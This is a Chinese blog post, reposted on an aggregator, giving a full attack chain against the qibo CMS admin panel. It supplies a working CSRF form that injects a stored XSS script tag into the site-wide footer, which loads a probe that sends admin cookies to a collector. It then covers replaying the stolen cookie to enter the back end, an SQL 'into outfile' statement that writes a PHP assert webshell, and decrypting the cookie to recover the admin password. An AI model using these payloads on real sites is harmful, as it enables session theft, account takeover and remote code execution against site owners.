IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    qibo通杀csrf+存储xss+分析明文账号密码进后台+成功getshell

    没穿底裤发表于 2015-07-24 00:37:55
    love 0

    后台无csrf防御,首先,看下全局过滤。全局过滤目录结构admin/index.php-admin/global.php-inc/common.inc.php这里是重点

    $_POST=Add_S($_POST); 
    
    $_GET=Add_S($_GET);
    
    $_COOKIE=Add_S($_COOKIE);
    
    
    
    function Add_S($array){//过滤
    
         foreach($array as $key=>$value){
    
              @eregi("['\\\"]+",$key) && die('ERROR KEY!');
    
              if(!is_array($value)){              
    
                   $value=str_replace("&#x","& # x",$value);     //过滤一些不安全字符
    
                   $value=preg_replace("/eval/i","eva l",$value);     //将eval替换为eva l
    
                   !get_magic_quotes_gpc() && $value=addslashes($value);//转义
    
                   $array[$key]=$value;
    
              }else{
    
                   $array[$key]=Add_S($array[$key]);
    
              }
    
         }
    
         return $array;
    
    }

    综上:post,get,cookie过来的参数进行过滤,但是没有过滤xss过滤。对eval进行替换但是还有别的函数有同样功能,还是可以插入一句话进去
    csrf:后台-系统功能-全局参数设置
    利用脚本:1.php

    <form action="http://127.0.0.1/v7~/admin/index.php?lfj=center&action=config" method="post" name="c">
    
    <input type="text" name="webdbs[copyright]" value="<script src=http://127.0.0.1/xss/probe.js></script>"/>
    
    </form> <script> document.c.submit(); </script>

    参数webdbs[copyright]是网页底部版权信息。在前台的每个页面都会出现。
    http://127.0.0.1/xss/probe.js 这是我本地的探针 调用本地xss探针probe,js。探针里http_server = “http://127.0.0.1/3/test.php?c=”,可以在服务器。test接收参数C,生成页面probe_data.html.写入接收到的数据。cookie就在里面。
    管理员在登录状态下访问主站任何页面都会中招。获取到的cookie如下:
    cookie

    1%09admin%09VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c%3D94606de1fd%09是跳格键 %3D是=所以1 admin VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c=94606de1fd随意注册一账户。用户名111 登录之后编辑passport内容为Admin=1 VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c=94606de1fd

    1
    编辑之后刷新页面。
    2
    这样是可以成功登陆前台的,登陆后台需要Admin,adminID,passport同样方式编辑,刷新之后
    然后进入后台。
    点击服务器信息。看到网站绝对路径 DOCUMENT_ROOT D:/wamp/wamp/www/
    系统功能-数据库工具
    3
    输入sql语句:

    select '<?php @assert($_POST[password]);?>' into outfile 'D:/wamp/wamp/www/cc.php'

    4
    成功插入一句话。菜刀连接
    6
    其实xss获取到的cookie有一定时间的,但是我们可以从获取到cookie来推算原本的账号密码。
    inc\common.inc.php

    //同步后台登录
    
    if($_COOKIE["adminID"]&&$detail=mymd5($_COOKIE["adminID"],'DE',
    
    
    
    $onlineip)){
    
        unset($_uid,$_username,$_password);
    
        list($_uid,$_username,$_password)=explode("\t",$detail);
    
        $_uid = intval($_uid);
    
        $lfjdb = $userDB->get_allInfo($_uid);
    
        if(!$lfjdb['password'] || $lfjdb['password']!=$_password){
    
            unset($lfjdb);
    
        }
    
    }

    可知$detail经过\t分隔之后为uid username,password.

    计算mymd5($_COOKIE[“adminID”],’DE’,$onlineip)

    看mymd5()函数-是加密解密函数:

    function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密
    
        global $webdb;
    
        $secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,
    
    
    
    可以任意设定
    
        if(!is_string($string)){
    
            $string=strval($string);
    
        }
    
        if($string==="") return "";
    
        if($action=="EN") $md5code=substr(md5($string),8,10);
    
        else{
    
            $md5code=substr($string,-10);
    
            $string=substr($string,0,strlen($string)-10);
    
        }
    
        //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
    
        $key = md5($md5code.$secret_string);
    
        $string = ($action=="EN"?$string:base64_decode($string));
    
        $len = strlen($key);
    
        $code = "";
    
        for($i=0; $i<strlen($string); $i++){
    
            $k = $i%$len;
    
            $code .= $string[$i]^$key[$k];
    
        }
    
        $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?
    
    
    
    $code:NULL) : base64_encode($code)."$md5code");
    
        return $code;
    
    }

    7

    cookie=VGxWUVoIVz5QVwAGBlVQXFYABQRVUQJTAlVdWwMCA1RRBA8FBgdaBA==638eb521ba
    
    mymd5('VGxWUVoIVz5QVwAGBlVQXFYABQRVUQJTAlVdWwMCA1RRBA8FBgdaBA==638eb521ba','127.0.0.1')

    得:
    8
    密码为MD5加密,解密为admin 用户名passport第二个参数admin



沪ICP备19023445号-2号
友情链接